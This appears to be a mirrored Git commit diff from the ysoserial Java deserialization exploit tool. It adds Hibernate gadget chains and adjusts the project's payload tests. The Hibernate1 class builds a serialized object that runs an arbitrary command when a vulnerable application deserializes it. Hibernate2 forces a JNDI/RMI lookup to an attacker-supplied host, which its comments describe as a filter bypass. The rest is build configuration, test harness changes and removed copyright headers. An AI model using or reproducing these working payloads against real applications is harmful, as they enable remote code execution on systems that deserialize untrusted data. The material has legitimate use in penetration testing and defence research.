mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
Add hibernate gadget chains.
Remove missed copyright notices.
This commit is contained in:
@@ -28,7 +28,7 @@
|
|||||||
<plugin>
|
<plugin>
|
||||||
<artifactId>maven-assembly-plugin</artifactId>
|
<artifactId>maven-assembly-plugin</artifactId>
|
||||||
<configuration>
|
<configuration>
|
||||||
<finalName>${project.artifactId}-${project.version}-all</finalName>
|
<finalName>${project.artifactId}-${project.version}-all</finalName>
|
||||||
<appendAssemblyId>false</appendAssemblyId>
|
<appendAssemblyId>false</appendAssemblyId>
|
||||||
<archive>
|
<archive>
|
||||||
<manifest>
|
<manifest>
|
||||||
@@ -102,15 +102,15 @@
|
|||||||
<version>3.1</version>
|
<version>3.1</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.beanshell</groupId>
|
<groupId>org.beanshell</groupId>
|
||||||
<artifactId>bsh</artifactId>
|
<artifactId>bsh</artifactId>
|
||||||
<version>2.0b5</version>
|
<version>2.0b5</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>commons-beanutils</groupId>
|
<groupId>commons-beanutils</groupId>
|
||||||
<artifactId>commons-beanutils</artifactId>
|
<artifactId>commons-beanutils</artifactId>
|
||||||
<version>1.9.2</version>
|
<version>1.9.2</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.apache.commons</groupId>
|
<groupId>org.apache.commons</groupId>
|
||||||
<artifactId>commons-collections4</artifactId>
|
<artifactId>commons-collections4</artifactId>
|
||||||
@@ -131,8 +131,13 @@
|
|||||||
<artifactId>spring-beans</artifactId>
|
<artifactId>spring-beans</artifactId>
|
||||||
<version>4.1.4.RELEASE</version>
|
<version>4.1.4.RELEASE</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.hibernate</groupId>
|
||||||
|
<artifactId>hibernate-core</artifactId>
|
||||||
|
<version>4.3.11.Final</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
<profile>
|
<profile>
|
||||||
<id>xalan</id>
|
<id>xalan</id>
|
||||||
@@ -149,5 +154,21 @@
|
|||||||
</dependency>
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
</profile>
|
</profile>
|
||||||
|
|
||||||
|
<profile>
|
||||||
|
<id>hibernate5</id>
|
||||||
|
<activation>
|
||||||
|
<property>
|
||||||
|
<name>hibernate5</name>
|
||||||
|
</property>
|
||||||
|
</activation>
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.hibernate</groupId>
|
||||||
|
<artifactId>hibernate-core</artifactId>
|
||||||
|
<version>5.0.7.Final</version>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
</profile>
|
||||||
</profiles>
|
</profiles>
|
||||||
</project>
|
</project>
|
||||||
|
|||||||
@@ -1,9 +1,3 @@
|
|||||||
/**
|
|
||||||
* © 2016 AgNO3 Gmbh & Co. KG
|
|
||||||
* All right reserved.
|
|
||||||
*
|
|
||||||
* Created: 05.03.2016 by mbechler
|
|
||||||
*/
|
|
||||||
package ysoserial;
|
package ysoserial;
|
||||||
|
|
||||||
import java.lang.annotation.Retention;
|
import java.lang.annotation.Retention;
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author mbechler
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
public interface DynamicDependencies {
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,148 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
import org.hibernate.engine.spi.TypedValue;
|
||||||
|
import org.hibernate.tuple.component.AbstractComponentTuplizer;
|
||||||
|
import org.hibernate.tuple.component.PojoComponentTuplizer;
|
||||||
|
import org.hibernate.type.AbstractType;
|
||||||
|
import org.hibernate.type.ComponentType;
|
||||||
|
import org.hibernate.type.Type;
|
||||||
|
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||||
|
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||||
|
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||||
|
* org.hibernate.type.ComponentType.getHashCode()
|
||||||
|
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||||
|
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||||
|
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||||
|
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* Requires:
|
||||||
|
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
|
|
||||||
|
public static String[] getDependencies () {
|
||||||
|
if ( System.getProperty("hibernate5") != null ) {
|
||||||
|
return new String[] {
|
||||||
|
"org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||||
|
"javax.transaction:javax.transaction-api:1.2"
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
return new String[] {
|
||||||
|
"org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
|
||||||
|
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
|
||||||
|
};
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static Object makeGetter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException, InstantiationException,
|
||||||
|
IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException {
|
||||||
|
if ( System.getProperty("hibernate5") != null ) {
|
||||||
|
return makeHibernate5Getter(tplClass, method);
|
||||||
|
}
|
||||||
|
return makeHibernate4Getter(tplClass, method);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,
|
||||||
|
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||||
|
Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
|
||||||
|
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
|
||||||
|
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
|
||||||
|
bgCon.setAccessible(true);
|
||||||
|
|
||||||
|
if ( !method.startsWith("get") ) {
|
||||||
|
throw new IllegalArgumentException("Hibernate4 can only call getters");
|
||||||
|
}
|
||||||
|
|
||||||
|
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
|
||||||
|
|
||||||
|
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
|
||||||
|
Object arr = Array.newInstance(getterIf, 1);
|
||||||
|
Array.set(arr, 0, g);
|
||||||
|
return arr;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,
|
||||||
|
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||||
|
Class<?> getterIf = Class.forName("org.hibernate.property.access.spi.Getter");
|
||||||
|
Class<?> basicGetter = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
|
||||||
|
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
|
||||||
|
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
|
||||||
|
Object arr = Array.newInstance(getterIf, 1);
|
||||||
|
Array.set(arr, 0, g);
|
||||||
|
return arr;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* {@inheritDoc}
|
||||||
|
*
|
||||||
|
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
|
||||||
|
*/
|
||||||
|
public Object getObject ( String command ) throws Exception {
|
||||||
|
Object tpl = Gadgets.createTemplatesImpl(command); // $NON-NLS-1$
|
||||||
|
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
||||||
|
return makeCaller(tpl, getters);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param tpl
|
||||||
|
* @param getters
|
||||||
|
* @return
|
||||||
|
* @throws NoSuchMethodException
|
||||||
|
* @throws InstantiationException
|
||||||
|
* @throws IllegalAccessException
|
||||||
|
* @throws InvocationTargetException
|
||||||
|
* @throws NoSuchFieldException
|
||||||
|
* @throws Exception
|
||||||
|
* @throws ClassNotFoundException
|
||||||
|
*/
|
||||||
|
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
|
||||||
|
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
|
||||||
|
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||||
|
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
|
||||||
|
|
||||||
|
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||||
|
Reflections.setFieldValue(t, "componentTuplizer", tup);
|
||||||
|
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||||
|
Reflections.setFieldValue(t, "propertyTypes", new Type[] {
|
||||||
|
t
|
||||||
|
});
|
||||||
|
|
||||||
|
TypedValue v1 = new TypedValue(t, null);
|
||||||
|
Reflections.setFieldValue(v1, "value", tpl);
|
||||||
|
Reflections.setFieldValue(v1, "type", t);
|
||||||
|
|
||||||
|
TypedValue v2 = new TypedValue(t, null);
|
||||||
|
Reflections.setFieldValue(v2, "value", tpl);
|
||||||
|
Reflections.setFieldValue(v2, "type", t);
|
||||||
|
|
||||||
|
return Gadgets.makeMap(v1, v2);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main ( final String[] args ) throws Exception {
|
||||||
|
PayloadRunner.run(Hibernate1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
import ysoserial.PayloadTest;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
|
||||||
|
import com.sun.rowset.JdbcRowSetImpl;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
*
|
||||||
|
* Another application filter bypass
|
||||||
|
*
|
||||||
|
* Needs a getter invocation that is provided by hibernate here
|
||||||
|
*
|
||||||
|
* javax.naming.InitialContext.InitialContext.lookup()
|
||||||
|
* com.sun.rowset.JdbcRowSetImpl.connect()
|
||||||
|
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
|
||||||
|
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||||
|
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||||
|
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||||
|
* org.hibernate.type.ComponentType.getHashCode()
|
||||||
|
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||||
|
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||||
|
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||||
|
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* Requires:
|
||||||
|
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||||
|
*
|
||||||
|
* Arg:
|
||||||
|
* - JNDI name (i.e. rmi:<host>)
|
||||||
|
*
|
||||||
|
* Yields:
|
||||||
|
* - JNDI lookup invocation (e.g. connect to remote RMI)
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
@SuppressWarnings ( {
|
||||||
|
"restriction"
|
||||||
|
} )
|
||||||
|
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
|
||||||
|
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
|
|
||||||
|
public static String[] getDependencies () {
|
||||||
|
return Hibernate1.getDependencies();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getObject ( String command ) throws Exception {
|
||||||
|
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||||
|
rs.setDataSourceName("rmi: " + command);
|
||||||
|
return Hibernate1.makeCaller(rs,Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData") );
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void main ( final String[] args ) throws Exception {
|
||||||
|
PayloadRunner.run(Hibernate2.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,9 +1,3 @@
|
|||||||
/**
|
|
||||||
* © 2016 AgNO3 Gmbh & Co. KG
|
|
||||||
* All right reserved.
|
|
||||||
*
|
|
||||||
* Created: 05.03.2016 by mbechler
|
|
||||||
*/
|
|
||||||
package ysoserial;
|
package ysoserial;
|
||||||
|
|
||||||
import java.util.concurrent.Callable;
|
import java.util.concurrent.Callable;
|
||||||
|
|||||||
@@ -1,9 +1,3 @@
|
|||||||
/**
|
|
||||||
* © 2016 AgNO3 Gmbh & Co. KG
|
|
||||||
* All right reserved.
|
|
||||||
*
|
|
||||||
* Created: 05.03.2016 by mbechler
|
|
||||||
*/
|
|
||||||
package ysoserial;
|
package ysoserial;
|
||||||
|
|
||||||
import java.util.concurrent.Callable;
|
import java.util.concurrent.Callable;
|
||||||
@@ -14,10 +8,6 @@ import java.util.concurrent.Callable;
|
|||||||
*/
|
*/
|
||||||
public interface WrappedTest {
|
public interface WrappedTest {
|
||||||
|
|
||||||
/**
|
|
||||||
* @param innerCallable
|
|
||||||
* @return a wrapped callable
|
|
||||||
*/
|
|
||||||
Callable<Object> createCallable ( Callable<Object> innerCallable );
|
Callable<Object> createCallable ( Callable<Object> innerCallable );
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,13 +1,7 @@
|
|||||||
/**
|
|
||||||
* © 2016 AgNO3 Gmbh & Co. KG
|
|
||||||
* All right reserved.
|
|
||||||
*
|
|
||||||
* Created: 05.03.2016 by mbechler
|
|
||||||
*/
|
|
||||||
package ysoserial.payloads;
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.Random;
|
|
||||||
import java.util.concurrent.Callable;
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
@@ -17,6 +11,7 @@ import org.junit.Assert;
|
|||||||
import ysoserial.CustomTest;
|
import ysoserial.CustomTest;
|
||||||
import ysoserial.exploit.JRMPListener;
|
import ysoserial.exploit.JRMPListener;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*
|
*
|
||||||
@@ -24,41 +19,51 @@ import ysoserial.exploit.JRMPListener;
|
|||||||
public class JRMPReverseConnectTest implements CustomTest {
|
public class JRMPReverseConnectTest implements CustomTest {
|
||||||
|
|
||||||
private int port;
|
private int port;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
public JRMPReverseConnectTest () {
|
public JRMPReverseConnectTest () {
|
||||||
port = new Random().nextInt(65535 - 1024) + 1024;
|
// some payloads cannot specify the port
|
||||||
|
port = 1099;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* {@inheritDoc}
|
* {@inheritDoc}
|
||||||
* @throws IOException
|
*
|
||||||
* @throws NumberFormatException
|
* @throws IOException
|
||||||
*
|
* @throws NumberFormatException
|
||||||
* @see java.lang.Runnable#run()
|
*
|
||||||
*/
|
* @see java.lang.Runnable#run()
|
||||||
public void run (Callable<Object> payload) throws Exception {
|
*/
|
||||||
|
public void run ( Callable<Object> payload ) throws Exception {
|
||||||
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
|
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
|
||||||
Thread t = new Thread(l, "JRMP listener");
|
Thread t = new Thread(l, "JRMP listener");
|
||||||
try {
|
try {
|
||||||
t.start();
|
t.start();
|
||||||
payload.call();
|
try {
|
||||||
|
payload.call();
|
||||||
|
}
|
||||||
|
catch ( Exception e ) {
|
||||||
|
// ignore
|
||||||
|
}
|
||||||
Assert.assertTrue("Did not have connection", l.waitFor(1000));
|
Assert.assertTrue("Did not have connection", l.waitFor(1000));
|
||||||
} finally {
|
}
|
||||||
|
finally {
|
||||||
l.close();
|
l.close();
|
||||||
t.interrupt();
|
t.interrupt();
|
||||||
t.join();
|
t.join();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* {@inheritDoc}
|
* {@inheritDoc}
|
||||||
*
|
*
|
||||||
* @see ysoserial.CustomTest#getPayloadArgs()
|
* @see ysoserial.CustomTest#getPayloadArgs()
|
||||||
*/
|
*/
|
||||||
public String getPayloadArgs () {
|
public String getPayloadArgs () {
|
||||||
return "localhost:" + port;
|
return "localhost:" + port;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package ysoserial.payloads;
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
@@ -35,6 +36,7 @@ import ysoserial.payloads.util.ClassFiles;
|
|||||||
import ysoserial.secmgr.ExecCheckingSecurityManager;
|
import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||||
import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
|
import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
|
||||||
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws
|
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws
|
||||||
* a special exception when an exec() attempt is made for more reliable detection; self-tests
|
* a special exception when an exec() attempt is made for more reliable detection; self-tests
|
||||||
@@ -42,78 +44,87 @@ import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
|
|||||||
|
|
||||||
TODO: figure out better way to test exception behavior than comparing messages
|
TODO: figure out better way to test exception behavior than comparing messages
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({"rawtypes", "unused", "unchecked"})
|
@SuppressWarnings ( {
|
||||||
@RunWith(Parameterized.class)
|
"rawtypes", "unused", "unchecked"
|
||||||
|
} )
|
||||||
|
@RunWith ( Parameterized.class )
|
||||||
public class PayloadsTest {
|
public class PayloadsTest {
|
||||||
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
|
|
||||||
|
|
||||||
@Parameters(name = "payloadClass: {0}")
|
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
|
||||||
public static Class<? extends ObjectPayload<?>>[] payloads() {
|
|
||||||
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
|
|
||||||
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
|
|
||||||
return payloadClasses.toArray(new Class[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
private final Class<? extends ObjectPayload<?>> payloadClass;
|
|
||||||
|
|
||||||
public PayloadsTest(Class<? extends ObjectPayload<?>> payloadClass) {
|
@Parameters ( name = "payloadClass: {0}" )
|
||||||
this.payloadClass = payloadClass;
|
public static Class<? extends ObjectPayload<?>>[] payloads () {
|
||||||
}
|
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
|
||||||
|
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
|
||||||
|
return payloadClasses.toArray(new Class[0]);
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
private final Class<? extends ObjectPayload<?>> payloadClass;
|
||||||
public void testPayload() throws Exception {
|
|
||||||
testPayload(payloadClass, new Class[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader) throws Exception {
|
|
||||||
String command = "hostname";
|
public PayloadsTest ( Class<? extends ObjectPayload<?>> payloadClass ) {
|
||||||
final String[] deps = buildDeps(payloadClass);
|
this.payloadClass = payloadClass;
|
||||||
|
}
|
||||||
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
|
|
||||||
|
|
||||||
if ( t != null ) {
|
@Test
|
||||||
if ( !t.skip().isEmpty()) {
|
public void testPayload () throws Exception {
|
||||||
|
testPayload(payloadClass, new Class[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
|
||||||
|
throws Exception {
|
||||||
|
String command = "hostname";
|
||||||
|
String[] deps = buildDeps(payloadClass);
|
||||||
|
|
||||||
|
PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
|
||||||
|
|
||||||
|
if ( t != null ) {
|
||||||
|
if ( !t.skip().isEmpty() ) {
|
||||||
Assume.assumeTrue(t.skip(), false);
|
Assume.assumeTrue(t.skip(), false);
|
||||||
}
|
}
|
||||||
|
|
||||||
if ( !t.precondition().isEmpty()) {
|
if ( !t.precondition().isEmpty() ) {
|
||||||
Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition()));
|
Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Object wrapper = null;
|
Object wrapper = null;
|
||||||
if ( t != null && !t.harness().isEmpty() ) {
|
if ( t != null && !t.harness().isEmpty() ) {
|
||||||
wrapper = Class.forName(t.harness()).newInstance();
|
wrapper = Class.forName(t.harness()).newInstance();
|
||||||
|
|
||||||
if ( wrapper instanceof CustomTest ){
|
if ( wrapper instanceof CustomTest ) {
|
||||||
command = ( (CustomTest) wrapper ).getPayloadArgs();
|
command = ( (CustomTest) wrapper ).getPayloadArgs();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
||||||
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
|
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
|
||||||
|
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
||||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
if ( wrapper instanceof WrappedTest ) {
|
||||||
if ( wrapper instanceof WrappedTest ){
|
callable = ( (WrappedTest) wrapper ).createCallable(callable);
|
||||||
callable = ((WrappedTest)wrapper).createCallable(callable);
|
}
|
||||||
}
|
|
||||||
|
|
||||||
if ( wrapper instanceof CustomTest ) {
|
if ( wrapper instanceof CustomTest ) {
|
||||||
( (CustomTest) wrapper ).run(callable);
|
( (CustomTest) wrapper ).run(callable);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
|
|
||||||
Object deserialized = sm.wrap(callable);
|
Object deserialized = sm.wrap(callable);
|
||||||
Assert.fail(ASSERT_MESSAGE); // should never get here
|
Assert.fail(ASSERT_MESSAGE); // should never get here
|
||||||
} catch (Throwable e) {
|
}
|
||||||
// hopefully everything will reliably nest our ExecException
|
catch ( Throwable e ) {
|
||||||
Throwable innerEx = Throwables.getInnermostCause(e);
|
// hopefully everything will reliably nest our ExecException
|
||||||
Assert.assertEquals(ExecException.class, innerEx.getClass());
|
Throwable innerEx = Throwables.getInnermostCause(e);
|
||||||
Assert.assertEquals(command, ((ExecException) innerEx).getCmd());
|
Assert.assertEquals(ExecException.class, innerEx.getClass());
|
||||||
}
|
Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
|
||||||
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
|
}
|
||||||
}
|
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param payloadClass
|
* @param payloadClass
|
||||||
@@ -121,69 +132,92 @@ public class PayloadsTest {
|
|||||||
* @return
|
* @return
|
||||||
*/
|
*/
|
||||||
private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
|
private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
|
||||||
return new Callable<byte[]>(){
|
return new Callable<byte[]>() {
|
||||||
public byte[] call() throws Exception {
|
|
||||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
public byte[] call () throws Exception {
|
||||||
final Object f = payload.getObject(command);
|
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||||
return Serializer.serialize(f);
|
final Object f = payload.getObject(command);
|
||||||
}};
|
return Serializer.serialize(f);
|
||||||
|
}
|
||||||
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param t
|
* @param t
|
||||||
* @param addlClassesForClassLoader
|
* @param addlClassesForClassLoader
|
||||||
* @param deps
|
* @param deps
|
||||||
* @param serialized
|
* @param serialized
|
||||||
* @return
|
* @return
|
||||||
*/
|
*/
|
||||||
private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps, final byte[] serialized ) {
|
private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
|
||||||
return new Callable<Object>(){
|
final byte[] serialized ) {
|
||||||
public Object call() throws Exception {
|
return new Callable<Object>() {
|
||||||
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
|
|
||||||
}
|
public Object call () throws Exception {
|
||||||
|
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
|
||||||
|
}
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition ) throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition )
|
||||||
|
throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||||
Method precondMethod = pc.getMethod(precondition);
|
Method precondMethod = pc.getMethod(precondition);
|
||||||
return (Boolean) precondMethod.invoke(null);
|
return (Boolean) precondMethod.invoke(null);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param payloadClass
|
* @param payloadClass
|
||||||
* @return
|
* @return
|
||||||
|
* @throws SecurityException
|
||||||
|
* @throws NoSuchMethodException
|
||||||
|
* @throws InvocationTargetException
|
||||||
|
* @throws IllegalArgumentException
|
||||||
|
* @throws IllegalAccessException
|
||||||
*/
|
*/
|
||||||
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) {
|
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
|
||||||
String[] baseDeps = Dependencies.Utils.getDependencies(payloadClass);
|
String[] baseDeps;
|
||||||
if ( System.getProperty("properXalan") != null ) {
|
if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
|
||||||
baseDeps = Arrays.copyOf(baseDeps, baseDeps.length+1);
|
Method method = payloadClass.getMethod("getDependencies");
|
||||||
baseDeps[baseDeps.length-1] = "xalan:xalan:2.7.2";
|
baseDeps = (String[]) method.invoke(null);
|
||||||
}
|
}
|
||||||
final String[] deps = baseDeps;
|
else {
|
||||||
return deps;
|
baseDeps = Dependencies.Utils.getDependencies(payloadClass);
|
||||||
|
}
|
||||||
|
if ( System.getProperty("properXalan") != null ) {
|
||||||
|
baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1);
|
||||||
|
baseDeps[ baseDeps.length - 1 ] = "xalan:xalan:2.7.2";
|
||||||
|
}
|
||||||
|
return baseDeps;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
|
|
||||||
